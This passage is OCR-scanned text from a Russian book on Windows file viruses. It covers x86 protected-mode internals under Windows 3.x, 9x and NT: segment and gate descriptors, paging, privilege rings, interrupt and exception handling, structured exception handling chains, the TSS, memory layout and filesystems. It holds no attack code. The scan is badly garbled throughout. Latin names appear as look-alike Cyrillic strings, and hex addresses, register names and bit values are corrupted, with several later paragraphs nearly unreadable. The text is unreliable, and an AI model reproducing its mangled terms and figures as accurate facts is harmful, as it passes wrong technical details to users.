сегмента (доступности параллельного доступа к нему программ 
с разннми привилегиями), для сегмента данннх он всегда 0 , 
а для стекового сегмента 1 ;

О битн 43 и 44 -  для кодового и стекового сегментов 11, для сег- 
мента данннх 1 0  (старший бит -  всегда единица!);

О битн 45 и 46 -  действительньга уровень привилегий сегмента 
(поле ВРЬ);

О бит 47 -  признак присутствия сегмента в оперативной памяти;
О бит 54 -  признак 32-разрядной (если 1) или 16-разрядной 

(если 0 ) адресации внутри сегмента;
О бит 55 -  единица измерения предела сегмента -  4 Кб (если 1) 

или байт (если 0 ).
Форматн «системньтх» дескрипторов слегка другие. Среди них 

может встретиться дескриптор специального типа, так назнваемнй 
<<шлюза> или «вентилъь. Тип «системного» дескриптора можно опре- 
делить по содержимому битов 40-44 (старший бит -  всегда нуль!):
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О 00000 шга 01000 -  запреаденное значение;
О 00001 или 01001 -  доступннй Т55 для 1286 или 1З8 6 +;
О 00010 -  сегмент таблицьт локальннх дескрипторов;
О 00011 или 01011 -  занятмй Т55 для 1286 или 1З8 6+;
О 00100 или 01100 -  вентиль внзова для 1286 или 1З8 6 +;
О 00101 -  вентиль задачи для 1286 или 1З8 6 +;
О 00110 или 01110 -  вентиль прерьгеания для 1286 или 1*386+;
О 00111 или 01111 -  вентиль исключения для 1286 или 1386+.
Описанная схема адресации используется в УУтскж-х ЗХ. С точки 

зрения прикладнмх программ оперативная память представляет со- 
бой огромное (2 32 байтов) ободее пространство, разбитое на отдельнне 
сегментн. В зависимости от уровня привилегий программьт и уров- 
ней привилегий сегментов к некоторим из них у каждой конкретной 
гтрограммн имеется доступ. а к некоторим -  нет.

4.1.1.2. Страничная организация адресного 
пространства
В этом случае адрес (точнее, лииейний адрес) интерес\тошей ячей- 

ки памяти представляет собой одно 32-битовое число. Старшие 
1 0  битов этого числа играют роль индекса в каталоге таблиц, содер- 
жашем указатели на 1024 таблицм страниц. Внбрав одну из этих таб- 
лнц, процессор по следуюшим 10  битам линейного адреса извлекает 
из этой таблицн базовьш адрес 4-килобайтной (или 4-мегабайтной) 
страницн памяти. Наконец, младшие 1 2  бнтов линейного адреса слу- 
жат сметдением в этой странице (см. рис. 4.2).

Линейнмй адрес

Индекс в Индекс 8
каталоге таблице Смеидение
таблиц страниц

12,

Каталог таблиц

Адрес таблицм

Таблица страниц

Аярес страмиць!

Таблица страниц

-►  Адрес

Рис. 4.2 ❖ Страничная адресация



192 ❖ Файловуе вирусь! в УУпсЗоууг

Формат 32-битовой «строки» каталога таблиц или таблицн страниц:
О бит 0 -  признак присутствия страницн в оперативной памяти;
О бит 1 -  признак доступности для записи;
О бит 2 -  флаг зашитм страницн;
О бит 5 -  признак того, что какая-то программа обрахцается 

к странице;
О бит 6 -  признак «занятости» страницм во время записи в нее;
О битм 12-31 -  старшие 20 битов физического адреса страницн 

(а младшие 1 2  всегда равнн 0 , так как адрес страницм кратен 
4096).

В обадем случае оперативная память оказмвается «разрезанной» 
на множество «лоскугков» (размером по 4 Кб или 4 Мб каждмй), 
которне «сшитн» в произвольном порядке. Два соседних линейнмх 
адреса мог>’т отображаться на совершенно удаленнне др\т от друга 
физические адреса, а могут -  на один и гот же.

Но подобная схема адресации в чистомвиде не встречается, а \\чп- 
<1о\У5 9Х и \¥1'пс1о\\'з КТ используют следуюадую комбинацию: опера- 
ционная система применяет «страничное» разбиение памяти для ор- 
ганизацни «параллельннх» адресннх пространств, а вот прикладнне 
программн используют для адресации внутри них селекторм и сме- 
адения. характернне для рассмотренной внше «сегментной» модели. 
В дескрипторах, описнваюадих адресное пространство прикладннх 
программ, \Утс[о\\'5 9Х и >4Т устанавливают нулевой базовнй адрес 
п максимально возможнмй предел, так что смеадение играет роль ли- 
нейного адреса. Именно таким сюразом реализуется гиюская моделъ 
(еаде ее назнвают английским словом (1а!) оперативной памяти, ког- 
да с точки зрения прикладной программн ее адресное пространство 
опнснвается непрермвной последовательностью адресов со значе- 
ниями от 0  до 2 32- 1 .

4.1.2. Механизми заицитм памяти
При рассмотрении механизма сегментной адресации встречалось 
понятие уровня привилегий, настало время рассмотреть вопрос под- 
робней. Поля КРЬ селектора и БРЬ дескриптора состоят из 2 битов 
кажднй, так что в них могут бнть записани значения в интервале от 
0 до 3. Значение 0 соответствует наивмсшему уровню привилегий, 
значение 3 -  наименьшему. Формальнме условия доступа со сторонн 
программн к ячейке памяти:

О для стекового сегмента СРЬ=КРЬ=Г)РЬ;
О иначе СРЬ < КРЬ < ЭРЬ.
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При невшполнении этих условий в процессоре генерируется ис- 
ключение.

Уровни привилегий часто назмвают кольцами загцитм, так как их 
можно условно изобразить в виде концентрических линий оборонм, 
окружаюших средневековмй город: внешние рвн и землянне валн 
завдшцают лачуги крестьян и ремесленников, далее для обеспечения 
безопасности более богатмх и знатнмх членов обшества появляют- 
ся деревяннме стенн, наконец в центре города за каменной стеной 
располагается стальная башня, в которой обитает правитель. М§ 
\ ¥ \ 1к 1о \у .ч  размешает самое себя в нулевом кольце зашитм (г1п§0 ), 
для прикладннх программ отводит третье кольцо (пп§3), а первое и 
второе не используются. Программнме компонентм нулевого кольца 
имеют право внполнять любьте привилегированньхе командн процес- 
сора; они мог>т обрахдаться к любьхм фрагментам памяти и исполнять 
любой код, п р и су т ст в у ю в д и й  в системе. Вот почему вирусн, стартую- 
вдие из прикладннх программ, так стремятся «пробраться в пуль».

В \¥тс!о \ \ ’8 9Х/МТ возможность доступа программм к какому-либо 
фрагменту памяти может проверяться дваждн: 1 ) во время трансля- 
ции сегментннх адресов в линейньхе; 2 ) во время трансляции линей- 
ньтх в физические. Даже если дескриптор сегмента содержит «под- 
ходявдий» КРЬ, далеко не факт, что программа сумеет вьшолнить 
обрахцение, ведь на исход операции влияют также битм 1 и 2  в стро- 
ках таблицн страниц. В результате адресное пространство приклад- 
ной программм также оказьшается «исполосованхгмм» на доступнме 
и недоступнме ей регионн.

4.1.3. Обработка прермваний и исключений
Работая в завдивденном режиме, прикладная программа не взаимо- 
действует ни с реальньши физическими адресами памяти, ни с реаль- 
нмми внешними устройствами. 'Гаким образом, программа вьшолня- 
ется на некоторохх виртуалъной машине, а управляет ее вьшолнением 
специальнмй компонент операционной системм УММ -  менеджер 
виртуалъних машин.

Виртуализация машиннмх ресурсов в захцихценпом режиме опира- 
ется на механизм обработки прерътаний и исключений.

Термин «прернвание» аналогичен по смнслу своему аналогу, при- 
менявшемуся в реальном режиме работн процессора. Прернвания 
могут поступать как со сторонм внешних устройств (таххмера, СОМ- 
порта, звуковохх картн и прочих), так и генерироваться программно 
посредством машинной командьх «Ш'Г XX».
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Понятие «исключения» в какой-то мере соответствует ситуации, 
возникаюшей при генерации прерьшаний 0 (попнтка деления на 0 ) 
и 6 (неверньш код машинной командм) реального режима. Эти пре- 
рьгеания генерируются самим процессором при возникновении в нем 
исключительнмх ситуаций, требуюадих обработки со сторонн опера- 
ционной системн или прикладной программн. Инициатором исклю- 
чений зашихценного режима также служит сам процессор. Например, 
исключеиие ООЬ генерируется при попьггке программн обратиться 
к сегменту памяти с более внсоким уровнем привилегий1.

М5 'Л']пс1о\\'з размешает в отдельнмх сегментах системной памя- 
ти некоторое количество обработчиков прермваний и исключений, 
формирует из дескрипторов этих сегментов (точнее, из их вентилей!) 
таблицу ГОТ и загрулсает ее адрес в 48-битовнй регистр ГОТК. В ГОТ 
имеется место для 256 «строк», вот некоторме соответствуюшие им 
прернвания и исключения:

О 0 -  попнтка деления на нуль;
О 1 -  при установленном в 1 бите Т в регистре флагов генериру- 

ется после внполнения процессором каждой командн;
О 3 -  команда генерации этого прермвания имеет однобитовмй 

код ОССЬ и зарезервирована для использования в отладчиках;
О 6 невернмй код машинной командм;
0  8 - двойная ошибка (исключение возникло во время обработки 

другого исключения);
О ОАЬ - неверньга Т55;
О ОВЬ -  ошибка загрузки сегмента;
О ОСЬ -  ошибка в стеке;
О ООЬ -  обшая ошибка зашитн (например, попнтка обратиться 

к сегменту памяти с более внсоким уровнем привилегий);
О ОЕЬ -  попнтка обрашения к странице, отсутствуюшей в опера- 

тивной памяти;
О 13Ь обрагцение к дисковому сервису со сторонн программн,

внполняюшейся в УМ8 6 ;
О 20Ь -  обрашение к виртуальному драйверу из 0 кольца завдитн 

в \¥ 1п(1о№5 9Х;
О 21Ь -  обравдение к сервисам операционной системн М 5-Б05 

со сторонн программн, вьшолняюшейся в УМ8 6 ;
О 2ЕЬ -  переход из 0 в 3 кольцо завдитн в МТ;

1 Эта С 1 г г у а ц 1 м  часто возникает не «злонамеренно», а при программнмх 
ошибках.
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О ЗОЬ -  переход из 0 в 3 кольцо зашитм в \¥ 1пс1о\¥5  9Х;
О ЗОЬ-ЗҒЬ -  аппаратние прермвания 1г^0-1г(}15 в \Утс1о\^5  КтТ;
О 50Ь-5ҒЬ -  аппаратнме прерьшания 1г^0-1гс(15 в \¥тс!ом '5 9Х.
Часть прериваний и исключений первоначально не имеют своих 

4личнь1х» обработчиков, а обслуживаются некоторьш универсаль- 
нмм кодом. Но по мере установки в ПЭВМ новмх устройств (напри- 
мер, звуковой картн) и инсталляции соответствуюших драйверов 
многие прернвания обретают своих «новмх хозяев».

Обьгано исключительная ситуация возникает в прикладной про- 
грамме (кольцо заидитм 3), а обработка ее производится где-то в нед- 
рах М5 \¥тс1о\Уз (кольцо зашитн 0). Как же согласовать уровни при- 
вилегий? Надо воспользоваться неоднократно упомянутнм ранее, но 
пока не рассмотренньш подробнее «вентилем». Это средство, позво- 
ляюшее передавать управление между кодовмми сегментами с раз- 
нмми уровнями привилегий.

Фактически вентиль представляет собой 64-битовьш дескриптор 
специального вида, содержаш,ий сснлку на адрес, которнй указнвает 
внутрь какого-то другого, возможно, более привилегированного сег- 
мента. Разумеется, прикпадная программа не может самостоятельно 
создать вентиль и «пролезть» через него, это должен предварительно 
сделать код, работаюший в нулевом кольце зашитн. Формат вентиля:

О битм 0-15 и 48-63 -  смешение адреса;
О битм 16-31 -  селектор адреса;
О битм 32-36 -  счетчик параметров, сохраняеммх в стеке;
О битм 40-43 -  прнзнаки типа вентиля (см. вмше в п. 4.1.1.1);
О бит 44 -  для системнмх дескрипторов всегда 0 (см. вмше 

в п. 4.1.1.1);
О битм 45-46 -  уровень привилегий вентиля (поле ЭРЬ);
О бит 47 -  «внключатель» вентиля, если он равен 0, то исполь- 

зование вентиля невозможно и генерируется исключение ОВЬ;
О  остальнне битн равнн 0.
Вентиль легко отличить в таблице дескрипторов по характерннм 

для него битовнм признакам (битн 40-43). Вентили бнвают трех 
типов:

О вентиль прернвания/ловушки -  позволяет обрабатнвать пре- 
рнвания и исюпочения;

О вентиль внзова -  позволяет программе легально переходить 
в другой сегмент при помоши командьт «САЬЬ»;

О вентиль задачи -  позволяет операционной системе переклю- 
чаться с одной задачи на другую.
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Тем не менее прикладная программа сама может обработать 
в третьем кольце завдитн некоторне исключения, причиной которнх 
стала. Каждому исполняюшемуся в системе потоку операционной си- 
стемой по умолчанию ставится в соответствие примитнвньш «базо- 
внй» обработчик, отображаюший аварийное сообшение в отдельном 
окне или на «синем экране смерти» (если поток работает в нулевом 
кольце зашитн \¥ 1пс1о\уз НТ). Но этот обработчик получает }шрав- 
ление довольно редко, потому что библиотеки времени исполнения 
(КТЬ -  Кшт 'П те ОЬгагу) язьжов внсокого уровня, на которнх пи- 
шутся прикладнне программн, включает свои обработчики. Кроме 
того, при помоши механизма «1 гу/ехсерг>> язьтка Си++ программист 
может установить для «опасного» фрагмента разрабатьтваемой про- 
граммн еоде одну, «интеллектуальную» процедуру обработки исклю- 
чения, при этом старне обработчики не гтропадут, а просто окажутся 
в цепочке обработчиков позади нового. Каждьш новнй устанавли- 
ваемнй обработчик будет размешаться впереди старнх, оттесняя их 
в глубину стека. При возникновении исключительной ситуации каж- 
днй из обработчиков, получив управление, может завершиться, поме- 
стив в ЕАХ код 1 (исключение успешно обработано), 0 (исключение 
не обработано, передать управление след\то!цему обработчику в це- 
почке) или - 1  (исключение проигнорировано, продолжить програм- 
му). Эта схема назьшается «структурной обработкой исключений» 
(5ЕН -  ЗткЧитег! Ехсериоп НапсШпй). Описатель каждого обработ- 
чика в цепочке состоит из двух 32-битовнх полей: 1) указателя на 
предндуший описатель; 2) адреса кода процедурн обработки. Самьтй 
первнй оппсатель в цепочке при старте потока может бнть найден по 
адресу Ғ5:[0], самнй последний имеет в поле указателя на преднду- 
ший описатель значение -1 (ОҒҒҒҒҒҒҒҒЬ).

Операционная система тоже активно использует механизмн обра- 
ботки прернваний и исключений. Например, при их помоши вирту-

Адрес предмдушвго —̂  Адрас предмдушвго —̂  » • * ОҒҒҒҒҒҒҒҒЬ
Адрес кода Адрес кода Адрес кода

Код процедурь! 
обрабогчика

Код процедурь! 
обработчииа

Рис. 4.3 ❖ Цепочка обработчиков исключений
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ализуется память, доступная прикладной программе. В самом деле, 
реальньш объем оперативной памяти, установленной на недорогой 
ПЭВМ, редко превмшает несколько сотен мегабайт, в то время как 
адресное пространство программьг составляет 4 Гб. Неминуемо часть 
страниц или сегментов просто не помегцается в омеративную память, 
и содержимое их хранится на диске1. Бит 47 в дескрипторе таких 
сегментов или бит 0  в строке таблицм страниц сброшен в 0 , и при 
попьггке обратиться к такому сегменту или странице возникает ис.- 
ключение. Управление получает системньгй обработчик искяючения, 
которьш считьгвает нужньхй фрагмент с диска, копирует его в опера- 
тивную память, и счастливая программа получает вожделеннмй до- 
ступ к необходимому сегменту или странице.

Виртуализуются и внешние устройства. Как известно, их контрол- 
лерм программируются через портьг ввода-вьшода. Слово состояния 
каждой программм содержит поле ЮРЬ -  уровень привнлегий вво- 
да-вьгвода, по умолчанию его значение равно 0. Кроме того, каждой 
вьшолняюшейся программе ставится в соответствие битовая карта 
ввода-вивода (готар) размером 8 Кб, кажднй бит которой соответ- 
ствует какому-то порту. Если текуший уровень привилегий програм- 
мм СРЕ=ЮРЬ (что имеет место, если эта программа -  компонент опе- 
рационной системм, например виртуальнмй драйвер), то карта просто 
игнорируется, в противном случае реакция процессора на попьггку до- 
ступа к порт\' зависит от содержимого картн. Если соответствуюший 
бит в карте установлен в 1 , то при обрагцении к этому порту происхо- 
дит исключение ООЬ, обрабатьтваемое операционной системой.

В \¥тпс1о\У5 9Х по умолчанию обнуленьт битм, соответствуютцие 
портам видеоадаптера, последовательного интерфейса (ЗҒ8Ь-ЗҒҒЬ и 
2Ғ8Ь-2ҒҒЬ), параллельного интерс{>ейса (378Ь-37ҒЬ) и СМ05-памя- 
ти (70Ь-71Ь), а остальнме битм установленм в 1 . Обработчик воз- 
никшего при обратцении к ним исключения пмтается найти соответ- 
ствуюший данному порту драйвер и передать ему управление, а если 
ему это не удается, то... просто обнуляет соответствуюший бит в кар- 
те ввода-вмвода, открмвая, таким образом, полннй доступ к порту. 
Впрочем, ни при каких условиях не обнуляются битн, соответствую- 
шие портам контроллера прямого доступа к памяти и некоторнм дру- 
гим потенциально «опасньтм» портам.

1 Обнчно в файлах \¥1п386.5\¥Р для \¥тс1ои'8 9Х и РаёеМе.ЗУ 5 для \ \ ч гн :1с п у5 
КТ, хотя нередко в качестве файла «подкачки» внступает и сам программ- 
н нй файл.
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В карте ввода-вьшода \Угпс1о\у$ N'1' по умолчанию нет обнуленнмх 
битов. Более того, карта ввода-вьтода искусственно расположена 
в «неправильном » месте, так что исключение ОБЬ происходит в любом 
случае, независимо от ее содержимого. Системньш обработчик исклю- 
чения «допускает» к портам только виртуальнме драйверн с СРЬ=0. 
Отказ в доступе к портам сопровождается аварийньш завершением 
\Утс1о\У5-приложеннй, а ГЮ5-приложенпя продолжают работу так, 
словно вместо команд «Ш/ОУТ» вьтолнилась обнчная «N0?».

Любопнтно, что установленньш в системе виртуальньш драйвер, 
получаюший управление в результате попнтки обрашения к «за- 
преаденному» порту, может не соответствовать никакому реальному 
устройству. Так, например, разработаннмй в М1сго5оЙ, но не вклю- 
ченньга в дистрибутивм М8  \¥тс!о \\'5 ЗХ/9Х драйвер $ОИМО.[ЖУ 
моделировал работу отсутствуюадей звуковой картн средствами сп- 
стемного дннамика.

4.1.4. Механизми поддержки многозадачности
Операционньте системм класса \\м п(1о\\’8 являются многозадачньши. 
Это означает, что одновременно под их управлением мог\т внполнять- 
ся несколько системнмх и прик.яадннх программ, так назмваеммх за- 
дач. Такие системнме ресурсн, как адресное пространство и набор вир- 
туальньгх устройств, внделяются операционной системой под каждую 
отдельную задачу и образуют в совокупности отдельную вирт\7альную 
маадину. В одном адресном пространстве мог>т развиваться иесколь- 
ко задач, так назнваемнх потоков (в терминологии МкговоА -  (кгеси!. 
нить). Внутри каждой программм присутствует, по крайней мере, один 
поток («главннй»), но их может бить и несколько. В этом случае все 
потоки одной программн разделяют обадее адресное пространство, 
а подчас даже и один и тот же программннй код. Конкурируют они 
лишь за процессорное время. Несмотря на суадествование многопро- 
цессорньтх ПЭВМ и многоядерннх процессоров, профаммннх потоков 
все равно во много раз больаде, чем арифметико-логических устройств. 
От разделения процессорного времени никуда не деться.

В \ \ 71Пс1о\У5 ЗХ используется кооперативний механизм разде- 
ления процессорного времени между потоками. Это означает, что 
каждьга поток полностью занимает процессор (а также доступньте 
ресурсн ПЭВМ) до тех пор, пока самостоятельно не сочтет нуж- 
нмм отдать управление (например, при помоади системного запроса 
«Сет Nехг Е\теп(:») системе, которая передаст его какому-то другому 
потоку, находяадемуея в голове очереди ожидания. Переключение
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с потока на поток может осушествить и пользователь при помоши 
мьтши или нажатия клавиатурной комбинации «АИ+ТаЬ».

В Шпс1о\У5 х\гТ (всегда) и 9Х (кроме случая, когда вмполняются 
несколько 16-битовмх \\71пс1о\ч’5-программ) используется витесняю- 
гций механизм многозадачности. Операционная система вмделяет 
каждому потоку квант процессорного времени1, по истечении кото- 
рого принудительно передает управление др\тому потоку, стояшему 
в очереди ожидания. Обь1Чно вмтесняювдая многозадачность цели- 
ком и полностью базируется на обработке таймерного прерьюания 
1ЯС)0, но на некотормх современнмх материнских платах появились 
«альтернативнме» таймерм, предназначеннне для организации мно- 
гозадачннх операционнмх систем и «сидятцие» на других 1КЦ. Опе- 
рационнме системн ветви \¥ 1пс1о\\'5 МТ способнн использовать как 
системньш, так и альтернативнме таймерм.

Процессорм 1З8 6+ содержат механизм, сутцественно облегчаюший 
операционной системе переключение с задачи на задачу: аппаратную 
поддержку сегмента состояния задачи (Т55). Сегмент состояния за- 
дачи -  это фрагмент памяти длиной не менее 104 байтов, оформлен- 
ннй в виде отдельного сегмента, которьш содержит всю информацию, 
необходимую для возобновления внполнения задачи после обратно- 
го переключения иа нее, а именно содержимое регистров, положение 
стеков для разнмх уровней привилегий, флаг трассировки, битовую 
карту ввода-внвода и прочее. Селектор этого сегмента хранится в 
16-битовом регистре ТК.. В \У1Пс1о\¥5  9Х/КТ преимушественно ис- 
пользуется один обтций Т55 для всех задач, вот наиболее интереснме 
битовне поля в этом сегменте:

О бить1 0-15 -  ссмлка не предмдуший Т55;
О битьт 288-318 -  регистр флагов;
О бит 800 -  бит трассировки;
О битн 816-831 -  положение битовой картн ввода-внвода (для 

\¥тс!о\У5 N1 ' это поле имеет значение, указнваюшее за пределн 
Т55).

4.1.5. Распределение оперативной памяти
Интересно и поучительно ознакомиться с распределением памяти 
в разннх версиях \У1пйо\уз: где располагаются компонен™ операци- 
онной системм, куда загружаются прикладньте программн и прочим.

1 Типичное значение -  20 мс, хотя в зависимости от версии операционной 
снстемьг и условий запуска программн возможнн вариации.
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Это распределение устанавливается в процессе загрузки операцион- 
ной системм.

В \¥ 1пс1о\ \75 З.Х распределение памяти вмглядит проше всего. Сна- 
чала загружается операционная система М З-005. После включе- 
ния компъютера системнмй загрузчик, размевденньтй в ЬооС-секторе, 
считмвает в память системнме модули «Ю.5У5» и «М 5005.5¥5», 
которьте, в свою очередъ, подтружают « СОМ МАМ Б.СОМ ». Далее 
при помоши «СОКҒЮ.5У5» и «АСТОЕХЕС.ВАТ» устанавливают- 
ся необходимне настройки и запускаются необходимне драйверм и 
резидентнме программм. И все, загрузка М 5-1)05 на этом заканчи- 
вается. а \У1п<1о\¥8 надо запускать принудительно! Поэтому прямо 
из «АОТОЕХЕС.ВАТ» (или пользователем вручную) запускается 
стартовая программа «\У1Н.С0М», которая, в свою очередь, инициа- 
лизирует зашшценнмй режим, загружает «новме» программнне ком- 
понентм \Утс1ои-5 и передает им управление. При этом «базисная» 
область физической памяти размером в 1 Мб, содержашая таблицу 
векторов прернваний, системнме области М 5-005, регионн видео- 
памяти и КОМ ВЮ5, в \¥тс1о\У8 З.Х остается на прежнем месте и 
активно используется графической «надстройкой», расположенной 
где-то в верхних адресах адресного пространства. Все прикладнне 
программн, как организованнне в формате М 5-005, таки в формате 
\ \ ;1пс1о\\'8 З.Х, «живут» в одном и том же обшем адресном простран- 
стве, хотя и получают в свое распоряжение непересекаюшиеся сег- 
мента где-то посередине между «базисом» и «надстройкой».

В \\ ;тс}о\\'5 9Х и КТ распределение памяти сложнее. Каждая 32-би- 
товая прикладная программа «живет» в своем лнчном адресном про- 
странстве. Адресное пространство в этих операционних системах 
довольно четко разбито на две равнме по размеру области: нижние 
2 Гб вмделяются прикладной программе, а верхние адреса отданн си- 
стемньш компонентам. Самме младшие адреса памяти (первне 4 Кб 
в \¥тс!о\\’з 9Х и первне 64 Кб в \\^гк1о\\'5 \ ’Т) запрешенн для записи. 
Прикладнне программн, созданнне неопнтннми программистами 
и обрашаюшиеся к своим переменннм по неинициализированннм 
указателям, с внсокой вероятиостью попадут именно на эти регионн 
памяти, что внзовет исключение и позволит автору обнаружить и ис- 
править ошибку. На этом, собственно говоря, все сходство в распреде- 
лении адреснмх пространств \У1П(1о \у з  9Х и  N1' заканчивается, теперь 
начинаются различия.

\УшсЬ\\'5 9Х запускается в два этапа: сначала системньш загрузчик 
внполняет в точности те же действия, что и при запуске \\;1Пс1о\\'5  З.Х,
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а имс-нно загружает и к<)нс}>игурирует М 8 -1 )0 8 . На ато.м этапе можио  
прерватъ процесс загрузки и по.-чучить в свое распоряжение 11.' >ВМ. 
р а б о т а ю 1 Ц \то  под управленисм операционной системь! М 5 -[)()5  7.Х. 
Но если этого не делать. тс> процесс загрузки продолжается: автома- 
тическн запускае.мая нрог|'>а.мма « \ \71 \'.С (Ш » предварительно кар- 
динально реорганизует оиерапш ную  память, с пстему прс-рмваиий, 
организует необходнм1,1С' д.1я зашишенного режима системнме таб- 
лнцм, загружает в память базовме компоненть1 \ \ 71пс1о \\-8 и, наконец, 
«<• чистой совестью» передас-т управленне одис>му из таких компонен- 
тов менеджеру виртуатьимх машин «VМ1Ш2.У Х 0». Перекоюче- 
ние процессора из реального режнма в затиш еннмн, вьшолняе.мое 
л 1 нм меиеджером сразу после получения управления. соответствует 
началу рабогм \\л!к1о\\5. В результате первме 4 М бпамяти остаются 
распределенньгми по законам реального режима ( иапример, в них по 
лпнейному адресу ОҒООООЬ по-прежнему можно обнаружить образ 
КОМ В Ю 8), но практическн не используются. Эта память разделя- 
ется всеми виртуальнмми адресньш и пространствами. Запускаемое 
32-разрядное приложение МпсЬмге загружается в регион адресов 
(Ю400000Ь 7ҒҒҒҒҒ1:1:Ь. Вмше, с адреса НОООООООЬ, начинаются 
«системнме>> области цамятн:

О в ннжнюю часть до адреса ОСОООООООЬ поиадают 32- н 1б-би- 
товме библиотеки, отображаемме в память с|.)айль1 и служебнме 
б_уфе‘рь1 ядра операцнонно11 системн;

О  далее, до адреса ОҒҒООООООЬ размешаются системнме сегмен- 
ть1, таблицм дескрипторов, таблицм страниц и т. п.;

О наконец. самьхе верхние адреса отводятся под псполняемьп!
код ядра \ \  пк.1о\\ л н виртуальнмх драйверов.

Важно, что «сиетемная* область памятп. начиная с адреса 
8000()()00Ь, тоже является обш^й для адреснмх пространств всех нро- 
цессов (действительно, заче.м для каждого процесса содержать от- 
дельньге коппи спсте.мнмх бпб.тиогек и ядрл?), а часть критически 
важнмх региоиов (начиная с адреса ОСОООООООЬ) даже не з пциш.е 
на от дапиен. Таким образом. адресньк- прострапства разнмх 32-раз- 
рядғплх .задач хотя в основном и «параллельнь!». тем ие менее име- 
ют «мс-жпространственнме тоннели* в начале намятп и в ее конце. 
Кс.;1н в \Унк'1о\\’ч !)Х зан\'скаются 1(»-битс>вьғе программн. организо- 
ваниью в с)')(,рмате \\-'пк1о\\ч З.Х. то д.пя нн.\ создается отдельиая вир- 
т у а л ь н а я  машина. средетвамп Кочироп моделир\'ются условня этсч1 
операцнонипй спстемм. все прог|1аммм соиместио « ж и в у т »  где-гс.' 
в ('е|Н'днне об|це |-(1 ад|)еч'Но|-(, просчранс'П!а. нпжняя часть которпго
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содержит М 5-005, а верхняя еистемнмй код. Еслн же в \\/пк1ст8 
9Х запускаютея 005-профамми. то каждая из них гюлучаег в свое 
распоряжение личное адресное пространство размеро.м 1 Мо. в ко- 
тором смоделированн таблпцьг векторов прернваний, код М 5-005  
7.Х, загружае.мне драйверн и ВЮ5. Образцом для моделирования 
служит иервнн мегабайт физической памяти компьютера. Поэтому 
если при старте системм в конфигурационнмх файлах «А1ДТОЕХЕС. 
ВАТ» и «СОКҒ1С.8У5» загружаются в память какие-тс» резидентньк* 
программм и драйверм, то они автоматически появятся во всех «смо- 
делированнмх» адреснмх пространствах для каждой запушенной из- 
под ХУтскпуз 16-битовой 005-программь1.

\Утс1о\\\ч МТ устроена гораздо более логично и надежно. Ей не тре- 
буется М5 -0 0 5 , вся загрузка вьтполняется средствами самой опера- 
ционной системм (модулями «КТОЕТЕСТ.С-ОМ» и «МТЬОК» при 
участии « ВООТ.1М1»). Сразу после первьгх 64 Кб, служавдих для «от- 
лова» неправнльнмх профамм, располагаются небольшие служеб- 
нне области данньтх, содержавдие. напрнмер. текстовме строки окру- 
жения. Прикладнме программм могут зафужаться операционной 
снстемой уже с адреса 10 0 0 0 11, хотя обмчно размегцаются несколь- 
ко вмше. где-нибудь в районе адресов 1 ОООООООЬ-аОООООООЬ1. Слу- 
жебнме библиотеки «живут» в адресном пространстве вмше адреса 
700000001]. В интервале 7ҒҒҒҒ000Ь-7ҒҒҒҒҒҒҒЬ зарезервировано 
место для еше одного «капкана», аналогичного тому. которнй разме- 
вдается в начальньтх адресах па.мяти. Вмше. с адреса 80000000Ь на- 
чинается «снстемная половина» намяти, где располагаются код ком- 
понентов ядра \¥т<1ст'5, дескрипторнне таблнцн н таблнцм страниц, 
служебнне даннне операционной системм и т. п., причем эти репю- 
нм преимувдественно завдишеим от достуна. Адреснме пространства 
всех нрикладнмх программ можно считать полностью «параллельнн- 
ми», хотя на са.мом деле для «одпнаковмх» фрагментов памяти в раз- 
нмх пространствах используются одни и те же физические страницн. 
а «нараллельность» искусственно создается нри помовди механизма 
«сору-оп-\\'п(е» во время попь1тки модифнци|.ювать содержимое од- 
ного из таких пространств. Если в \ \  п1с1о\уя ХТ запускаются програм- 
мм в ({.юрмате М5 -0 0 5  илп \\71!к1о\ \5  ЗХ. то собственньгх адреснмх 
нрс1стран1'тв оггн не получают, а ус.товия для нх с})ункцноц(гровання

1 И рагстнчееки  в с е  кс>мн<>т ч л ц п к п  о2-6т‘овь1х и р п к л ад п ь гх  п р о г р а м м  «про- 
с я т »  [лч:чме|цать : ,*т г ц н л р а м м м  ц о д д р с с у  40000011. п о п е р а ш ю и м а я  с и с т е м а  
ромко (.пт^а.чьшает им.
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(таблица векторов прерьшаний, код М5 -0 0 8  5.0, область ВЮ5 и 
прочее) искуссгвенно модс-лируются в недрах 32-битового процесса 
•ЛПЛ 1)М».’

4.1.6. Файловие системм
Прн обсужденин вопроса компьютернмх вирусов в операцноннмх 
системах класса \¥|‘п(1о\У5 необходимс» отметить следуюшие обстоя- 
тельства.

\¥1|к1(п\'з З.Х при своей работе опирается на файловую систему той 
версии М5-005 , пз которой она стартовала. Впрочем, она уже не- 
способна стартовать с диска, отформатированного в М 5-005  \'7.1 по 
правилам ҒАТ32, ей подавай только ҒАТ12 нли ҒАТ16.

\¥пкк>\\'5 9Х привнесла некоторий разнобой. \¥ш(1 о\\'5 95 ориен- 
тируется на файловую систему УҒАТ, а \\лпс1о\\’з 98/М Н - либо на 
УҒАТ. либо на ҒАТ32 (по желанию пользователя, въшолняклцего ис- 
ходпое форматирование дисковмх разделов). Работа этпх файловнх 
систем основнвается на понятин ҒАТ специальной таблицн, описн- 
ваюшей принадлежность дисковнх кластеров тому илн иному файлу. 
Информация о первом кластере файла вместе с именем файла и его 
основннми пользовательскпми характеристиками (временем созда- 
ния. атрнбутами доступа и прочим) хранится в файлах особого вида 
в каталогах. Каталоги файловнх систем УҒАТ н ҒАТ32 отличаются от 
своих более ранних аналогов возможностью поддерживать длиннне 
(до 255 символов) нмена файлов и вложенннх каталогов, причем нмя 
может содержать пробелн, точки и друтие ранее не допускавшнеся 
символм. Для совместимости с программамн, написаннмми до воз- 
никновения ¥ҒА 1 и Ғ-АТ32, фанлн и каталогн одновременно могут 
идентифнцироваться как по полному длннному имени (напрнмер. 
«Ехатр1е оПоп§ пате.ТХТ*). так и гго «усеченному» варианту (на- 
пример, «ЕХАМРЬ-1.ТХТ»). Длнннме имена хранятся в запнсях ка- 
талогов в двухбайтовон коднровке 1 '1нсос1е.

\¥ тг 1о\ \ ’5 >ГГ пренмушественно ориентнруется на фанловую сн- 
стему КТТҒ5. хотя на этапе установки операционноп системн можно 
сделать вибор в пользу ҒАТ. \¥ 1пс1о\у5 \ 'Т  4.0 еше не поддерживала 
дисковьгх разделс^в, отформатнроваинмх под ҒАТ32 (впрочем, эта 
возможность обеспсчивалась прп помоши шпроко распространен- 
нм\ драйверов от сторонних производите. к-н). но все поеледуюшие 
версип \\;нк1о\\'5 \ Т  с  э т о н  задачей уже сп^^авля.шсь легко н непрн- 
нужд(-нно. И напборот. фай.ювая снстема \Т 1 :5 но учк^лчанпю <нс 
